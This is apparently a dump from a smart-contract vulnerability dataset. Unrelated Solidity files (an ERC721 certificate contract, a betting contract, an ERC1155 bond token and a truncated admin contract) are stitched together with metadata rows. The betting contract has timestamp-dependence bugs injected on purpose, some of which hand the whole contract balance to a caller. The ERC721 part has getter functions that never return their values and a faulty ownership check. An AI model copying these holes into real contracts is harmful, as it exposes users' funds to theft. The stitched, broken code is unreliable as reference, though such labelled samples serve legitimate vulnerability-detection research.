// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) external view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) external view returns (address) {
_ownerOf(tokenId);
}
function _ownerOf(uint256 tokenId) internal view returns (address owner) {
owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) external payable {
address owner = _tokenOwner[tokenId];
require(to != owner);
require(msg.sender == owner || _operatorApprovals[owner][msg.sender]);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) external view returns (address) {
_getApproved(tokenId);
}
function _getApproved(uint256 tokenId) internal view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) external {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner,
address operator)
external
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId)
external payable
{
_transferFrom(from, to, tokenId);
}
function _transferFrom(address from,
address to,
uint256 tokenId) internal {
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId)
external payable
{
// solium-disable-next-line arg-overflow
_safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes _data)
external payable
{
_safeTransferFrom(from, to, tokenId, _data);
}
function _safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes _data)
internal
{
_transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkAndCallSafeTransfer(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender,
uint256 tokenId)
internal
view
returns (bool)
{
address owner = _tokenOwner[tokenId];
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner ||
_getApproved(tokenId) == spender ||
_operatorApprovals[owner][spender]);
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _clearApproval(address owner, uint256 tokenId) internal {
require(_ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(_ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkAndCallSafeTransfer(address from,
address to,
uint256 tokenId,
bytes _data)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
}
contract Bloccelerator is ERC721 {
mapping (uint256 => string) public Courses;
// The data structure of the example deed
struct Certificate {
string name;
uint256 courseID;
uint256 date;
bytes32 registrationCode;
}
// When a certificate is created by an admin.
event Creation(uint256 indexed c_id, string indexed c_name, string indexed c_course);
// Mapping from participants to certificates
mapping (uint256 => Certificate) private participants;
mapping (bytes32 => uint256[]) private studentDetail;
// Needed to make all deeds discoverable. The length of this array also serves as our deed ID.
uint256[] private certificates;
uint256[] private courseIDs;
address private owner;
string public constant name = "Bloccelerator";
string public constant symbol = "BLOC";
constructor()
public
{
owner = msg.sender;
}
modifier onlyContractOwner {
require(msg.sender == owner);
_;
}
function create(address _to, string _name, uint256 _course, uint256 _date, bytes32 _userCode)
public
onlyContractOwner
returns (uint256 certificateID) {
certificateID = certificates.length;
certificates.push(certificateID);
super._mint(_to, certificateID);
participants[certificateID] = Certificate({
name: _name,
courseID: _course,
date: _date,
registrationCode: _userCode
});
studentDetail[_userCode].push(certificateID);
emit Creation(certificateID, _name, Courses[_course]);
}
function addCourse(string _name) public onlyContractOwner returns (uint256 courseID) {
require(verifyCourseExists(_name) != true);
uint _courseCount = courseIDs.length;
courseIDs.push(_courseCount);
Courses[_courseCount] = _name;
return _courseCount;
}
function verifyCourseExists(string _name) internal view returns (bool exists) {
uint numberofCourses = courseIDs.length;
for (uint i=0; i<numberofCourses; i++) {
if (keccak256(abi.encodePacked(Courses[i])) == keccak256(abi.encodePacked(_name)))
{
return true;
}
}
return false;
}
function getMyCertIDs(string IDNumber) public view returns (string _name, uint[] _certIDs) {
bytes32 hashedID = keccak256(abi.encodePacked(IDNumber));
uint[] storage ownedCerts = studentDetail[hashedID];
require(verifyOwner(ownedCerts));
_certIDs = studentDetail[hashedID];
_name = participants[_certIDs[0]].name;
}
function getCertInfo(uint256 certificateNumber) public view returns (string _name, string _courseName, uint256 _issueDate) {
_name = participants[certificateNumber].name;
_courseName = Courses[participants[certificateNumber].courseID];
_issueDate = participants[certificateNumber].date;
}
function verifyOwner(uint[] _certIDs) internal view returns (bool isOwner) {
uint _numberOfCerts = _certIDs.length;
bool allCorrect = false;
for (uint i=0; i<_numberOfCerts; i++) {
allCorrect = (true && (_ownerOf(_certIDs[i]) == msg.sender));
}
return allCorrect;
}
}
| 143,846 | 11,732 |
a53ee0a94e5e73eb782398d31b0edccf069e5158df154dd1e53457854fe9a42b
| 12,294 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/time_manipulation/clean_50_buggy_curated_0/buggy_25.sol
| 3,868 | 12,127 |
pragma solidity ^0.5.11;
//
// * whitebetting.com - the whitest football betting game based on ethereum blockchain
// on 2019-09-24
//
contract WhiteBetting {
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
address payable public owner;
// Game information
struct GameInfo {
// game start time
uint256 timestamp;
// game odds
uint32 odd_homeTeam;
uint32 odd_drawTeam;
uint32 odd_awayTeam;
uint32 odd_over;
uint32 odd_under;
uint32 odd_homeTeamAndDraw;
uint32 odd_homeAndAwayTeam;
uint32 odd_awayTeamAndDraw;
// Checking the game status
uint8 open_status;
// Checking whether winning were paid
bool isDone;
}
address winner_tmstmp38;
function play_tmstmp38(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp38 = msg.sender;}}
mapping(uint64 => GameInfo) public gameList;
// Player betting infomation
struct BetFixture {
address payable player;
uint256 stake;
uint32 odd;
// betting type
uint16 selectedTeam;
}
function bug_tmstmp4 () public payable {
uint pastBlockTime_tmstmp4; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp4); // only 1 transaction per block //bug
pastBlockTime_tmstmp4 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
mapping(uint64 => BetFixture[]) public betList;
// Events that are issued to make statistic recovery easier
address winner_tmstmp31;
function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp31 = msg.sender;}}
event Success(uint256 odd);
function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800;
}
event Deposit(address sender, uint256 eth);
uint256 bugv_tmstmp5 = block.timestamp;
event Withdraw(address receiver, uint256 eth);
uint256 bugv_tmstmp1 = block.timestamp;
event NewStake(address player, uint64 fixtureId, uint16 selectedTeam, uint256 stake, uint256 odd);
uint256 bugv_tmstmp2 = block.timestamp;
event SetGame(uint64 _fixtureId, uint256 _timestamp, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw, uint8 _open_status);
uint256 bugv_tmstmp3 = block.timestamp;
event ChangeOdd (uint64 _fixtureId, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw);
uint256 bugv_tmstmp4 = block.timestamp;
event GivePrizeMoney(uint64 _fixtureId, uint8 _homeDrawAway, uint8 _overUnder);
// Constructor
constructor() public {
owner = msg.sender;
}
address winner_tmstmp7;
function play_tmstmp7(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp7 = msg.sender;}}
// Change the game status
function setOpenStatus(uint64 _fixtureId, uint8 _open_status) external onlyOwner {
gameList[_fixtureId].open_status = _open_status;
}
address winner_tmstmp23;
function play_tmstmp23(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp23 = msg.sender;}}
// Refresh the game odd
function changeOdd (uint64 _fixtureId, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw) external onlyOwner {
gameList[_fixtureId].odd_homeTeam = _odd_homeTeam;
gameList[_fixtureId].odd_drawTeam = _odd_drawTeam;
gameList[_fixtureId].odd_awayTeam = _odd_awayTeam;
gameList[_fixtureId].odd_over = _odd_over;
gameList[_fixtureId].odd_under = _odd_under;
gameList[_fixtureId].odd_homeTeamAndDraw = _odd_homeTeamAndDraw;
gameList[_fixtureId].odd_homeAndAwayTeam = _odd_homeAndAwayTeam;
gameList[_fixtureId].odd_awayTeamAndDraw = _odd_awayTeamAndDraw;
emit ChangeOdd (_fixtureId, _odd_homeTeam, _odd_drawTeam, _odd_awayTeam, _odd_over, _odd_under, _odd_homeTeamAndDraw, _odd_homeAndAwayTeam , _odd_awayTeamAndDraw);
}
address winner_tmstmp14;
function play_tmstmp14(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp14 = msg.sender;}}
// Save the game information
function setGameInfo (uint64 _fixtureId, uint256 _timestamp, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw, uint8 _open_status) external onlyOwner {
gameList[_fixtureId].timestamp = _timestamp;
gameList[_fixtureId].odd_homeTeam = _odd_homeTeam;
gameList[_fixtureId].odd_drawTeam = _odd_drawTeam;
gameList[_fixtureId].odd_awayTeam = _odd_awayTeam;
gameList[_fixtureId].odd_over = _odd_over;
gameList[_fixtureId].odd_under = _odd_under;
gameList[_fixtureId].odd_homeTeamAndDraw = _odd_homeTeamAndDraw;
gameList[_fixtureId].odd_homeAndAwayTeam = _odd_homeAndAwayTeam;
gameList[_fixtureId].odd_awayTeamAndDraw = _odd_awayTeamAndDraw;
gameList[_fixtureId].open_status = _open_status;
gameList[_fixtureId].isDone = false;
emit SetGame(_fixtureId, _timestamp, _odd_homeTeam, _odd_drawTeam, _odd_awayTeam, _odd_over, _odd_under, _odd_homeTeamAndDraw, _odd_homeAndAwayTeam , _odd_awayTeamAndDraw, _open_status);
}
address winner_tmstmp30;
function play_tmstmp30(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp30 = msg.sender;}}
// Player make a bet
function placeBet(uint64 _fixtureId, uint16 _selectedTeam, uint32 _odd) external payable {
uint stake = msg.value;
// Minium amount to bet is 0.001 ether
require(stake >= .001 ether);
// Check whether odds is valid
require(_odd != 0);
// Compare to match mainnet odds with was submitted odds by betting type
if (_selectedTeam == 1) {
require(gameList[_fixtureId].odd_homeTeam == _odd);
} else if (_selectedTeam == 2) {
require(gameList[_fixtureId].odd_drawTeam == _odd);
} else if (_selectedTeam == 3) {
require(gameList[_fixtureId].odd_awayTeam == _odd);
} else if (_selectedTeam == 4) {
require(gameList[_fixtureId].odd_over == _odd);
} else if (_selectedTeam == 5) {
require(gameList[_fixtureId].odd_under == _odd);
} else if (_selectedTeam == 6) {
require(gameList[_fixtureId].odd_homeTeamAndDraw == _odd);
} else if (_selectedTeam == 7) {
require(gameList[_fixtureId].odd_homeAndAwayTeam == _odd);
} else if (_selectedTeam == 8) {
require(gameList[_fixtureId].odd_awayTeamAndDraw == _odd);
} else {
revert();
}
// Betting is possible when the game was opening
require(gameList[_fixtureId].open_status == 3);
// Betting is possible only 10 min. ago
require(now < (gameList[_fixtureId].timestamp - 10 minutes));
// Save the betting information
betList[_fixtureId].push(BetFixture(msg.sender, stake, _odd, _selectedTeam));
emit NewStake(msg.sender, _fixtureId, _selectedTeam, stake, _odd);
}
function bug_tmstmp8 () public payable {
uint pastBlockTime_tmstmp8; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp8); // only 1 transaction per block //bug
pastBlockTime_tmstmp8 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
// Give prize money by the game result
function givePrizeMoney(uint64 _fixtureId, uint8 _homeDrawAway, uint8 _overUnder) external onlyOwner payable {
// Check the game status whether is opening
require(gameList[_fixtureId].open_status == 3);
// Check if it has ever compensated
require(gameList[_fixtureId].isDone == false);
// Check if it has any player who betted
require(betList[_fixtureId][0].player != address(0));
// Give the prize money!
for (uint i= 0 ; i < betList[_fixtureId].length; i++){
uint16 selectedTeam = betList[_fixtureId][i].selectedTeam;
uint256 returnEth = (betList[_fixtureId][i].stake * betList[_fixtureId][i].odd) / 1000 ;
if ((selectedTeam == 1 && _homeDrawAway == 1)
|| (selectedTeam == 2 && _homeDrawAway == 2)
|| (selectedTeam == 3 && _homeDrawAway == 3)
|| (selectedTeam == 4 && _overUnder == 1)
|| (selectedTeam == 5 && _overUnder == 2)
|| (selectedTeam == 6 && (_homeDrawAway == 1 || _homeDrawAway == 2))
|| (selectedTeam == 7 && (_homeDrawAway == 1 || _homeDrawAway == 3))
|| (selectedTeam == 8 && (_homeDrawAway == 3 || _homeDrawAway == 2))){
betList[_fixtureId][i].player.transfer(returnEth);
}
}
// Change the game status.
gameList[_fixtureId].open_status = 5;
// It was paid.
gameList[_fixtureId].isDone = true; // true .
emit GivePrizeMoney(_fixtureId, _homeDrawAway, _overUnder);
}
address winner_tmstmp39;
function play_tmstmp39(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp39 = msg.sender;}}
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// Get this balance of CA
function getBalance() external view returns(uint){
return address(this).balance;
}
function bug_tmstmp36 () public payable {
uint pastBlockTime_tmstmp36; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp36); // only 1 transaction per block //bug
pastBlockTime_tmstmp36 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
// Deposit from owner to CA
function deposit(uint256 _eth) external payable{
emit Deposit(msg.sender, _eth);
}
address winner_tmstmp35;
function play_tmstmp35(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp35 = msg.sender;}}
// Change Owner
function changeOwner(address payable _newOwner) external onlyOwner {
owner = _newOwner;
}
function bug_tmstmp40 () public payable {
uint pastBlockTime_tmstmp40; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp40); // only 1 transaction per block //bug
pastBlockTime_tmstmp40 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
// Fallback function
function () external payable{
owner.transfer(msg.value);
}
function bug_tmstmp33() view public returns (bool) {
return block.timestamp >= 1546300800;
}
// Withdraw from CA to owner
function withdraw(uint256 _amount) external payable onlyOwner {
require(_amount > 0 && _amount <= address(this).balance);
owner.transfer(_amount);
emit Withdraw(owner, _amount);
}
address winner_tmstmp27;
function play_tmstmp27(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp27 = msg.sender;}}
}
| 132,726 | 11,733 |
429d27a45883ff115a35da6cbd9208ea8aa9d84da0364a069b43e34d7081de42
| 17,617 |
.sol
|
Solidity
| false |
551560778
|
BondBank/BondBank-Backend
|
623d7f964494c337c9029b56b05a451e17c75166
|
old-contracts/BondERC1155.sol
| 2,904 | 11,284 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
contract BondERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
address[] public buyers;
// JSON-like structure containing info on each bond
struct Info {
string bondName;
uint256 bondStartDate;
uint256 bondMaturityDate;
uint256 bondUnitPrice;
address BondManager;
address[] buyers;
}
// mapping of a bond to its information (of type Info above)
mapping(uint256 => Info) public bondInfo;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
string private _uri;
constructor(string memory uri_) {
_setURI(uri_);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: address zero is not a valid owner");
return _balances[id][account];
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not token owner or approved");
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not token owner or approved");
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function _safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
function _mint(address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
function _mintBatch(address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _burn(address from,
uint256 id,
uint256 amount) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
function _burnBatch(address from,
uint256[] memory ids,
uint256[] memory amounts) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _beforeTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _afterTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _doSafeTransferAcceptanceCheck(address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non-ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non-ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
| 224,572 | 11,734 |
233f0099ec591d1e6f209524e5c11c6bff5bbaf3490a970d05c69e355209edf7
| 19,919 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/2397_37307_0xb8e8a15c42681af2419d7e6c48d053697fdbe1df.sol
| 3,305 | 12,549 |
pragma solidity 0.4.25;
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Claimable.sol
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/utils/Adminable.sol
contract Adminable is Claimable {
address[] public adminArray;
struct AdminInfo {
bool valid;
uint256 index;
}
mapping(address => AdminInfo) public adminTable;
event AdminAccepted(address indexed _admin);
event AdminRejected(address indexed _admin);
modifier onlyAdmin() {
require(adminTable[msg.sender].valid, "caller is illegal");
_;
}
function accept(address _admin) external onlyOwner {
require(_admin != address(0), "administrator is illegal");
AdminInfo storage adminInfo = adminTable[_admin];
require(!adminInfo.valid, "administrator is already accepted");
adminInfo.valid = true;
adminInfo.index = adminArray.length;
adminArray.push(_admin);
emit AdminAccepted(_admin);
}
function reject(address _admin) external onlyOwner {
AdminInfo storage adminInfo = adminTable[_admin];
require(adminArray.length > adminInfo.index, "administrator is already rejected");
require(_admin == adminArray[adminInfo.index], "administrator is already rejected");
// at this point we know that adminArray.length > adminInfo.index >= 0
address lastAdmin = adminArray[adminArray.length - 1]; // will never underflow
adminTable[lastAdmin].index = adminInfo.index;
adminArray[adminInfo.index] = lastAdmin;
adminArray.length -= 1; // will never underflow
delete adminTable[_admin];
emit AdminRejected(_admin);
}
function getAdminArray() external view returns (address[] memory) {
return adminArray;
}
function getAdminCount() external view returns (uint256) {
return adminArray.length;
}
}
// File: contracts/saga/interfaces/ITransactionLimiter.sol
interface ITransactionLimiter {
function resetTotal() external;
function incTotalBuy(uint256 _amount) external;
function incTotalSell(uint256 _amount) external;
}
// File: contracts/saga/interfaces/IETHConverter.sol
interface IETHConverter {
function toSdrAmount(uint256 _ethAmount) external view returns (uint256);
function toEthAmount(uint256 _sdrAmount) external view returns (uint256);
function fromEthAmount(uint256 _ethAmount) external view returns (uint256);
}
// File: contracts/saga/interfaces/IRateApprover.sol
interface IRateApprover {
function approveRate(uint256 _highRateN, uint256 _highRateD, uint256 _lowRateN, uint256 _lowRateD) external view returns (bool, string);
}
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
interface IContractAddressLocator {
function getContractAddress(bytes32 _identifier) external view returns (address);
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
